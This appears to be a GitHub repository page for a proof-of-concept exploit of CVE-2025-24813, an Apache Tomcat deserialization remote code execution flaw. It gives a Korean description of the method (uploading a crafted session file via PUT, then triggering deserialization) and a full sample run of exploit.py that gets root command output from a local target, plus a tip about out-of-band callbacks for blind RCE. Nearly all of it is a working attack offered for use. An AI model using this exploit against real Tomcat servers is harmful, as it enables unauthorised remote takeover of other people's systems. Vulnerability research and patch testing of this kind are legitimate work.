gunyakit/cve-2025-24813-poc-exploitApache Tomcat 역직렬화 RCE(CVE-2025-24813)에 대한 개념 증명 익스플로잇. PUT 요청을 통해 조작된 세션 파일을 업로드하고 역직렬화를 트리거하여 대상 서버에서 임의의 명령을 실행합니다.
Apache Tomcat 역직렬화 RCE
❯ python3 exploit.py http://localhost:8080/ "id"
============================================================
CVE-2025-24813 - Apache Tomcat Partial PUT RCE
============================================================
[*] Target: http://localhost:8080
[*] Command: id
[*] Creating exploit payload...
[*] Uploading payload via PUT to: http://localhost:8080/session/exploit.session
[*] PUT Response: 201
[+] Payload uploaded successfully!
[*] Triggering deserialization...
[*] Trigger Response: 200
[*] Response body:
<!DOCTYPE html>
<html>
<head><title>Deserialization Triggered!</title></head>
<body style="background:#1a1a2e;color:#e0e0e0;font-family:monospace;padding:2rem;">
<h1 style="color:#ef4444;">⚠️ Deserialization RCE Triggered!</h1>
<p>Session file deserialized: exploit.session</p>
<p>Command executed: <code style="color:#4ade80;">id</code></p>
<hr>
<pre style="background:#0a0a0a;padding:1rem;border-radius:8px;color:#00d4ff;">
uid=0(root) gid=0(root) groups=0(root)
</pre>
</body>
</html>
[*] Exploit complete!
If deserialization worked, check target for command execution.
For blind RCE, use out-of-band techniques (DNS/HTTP callbacks)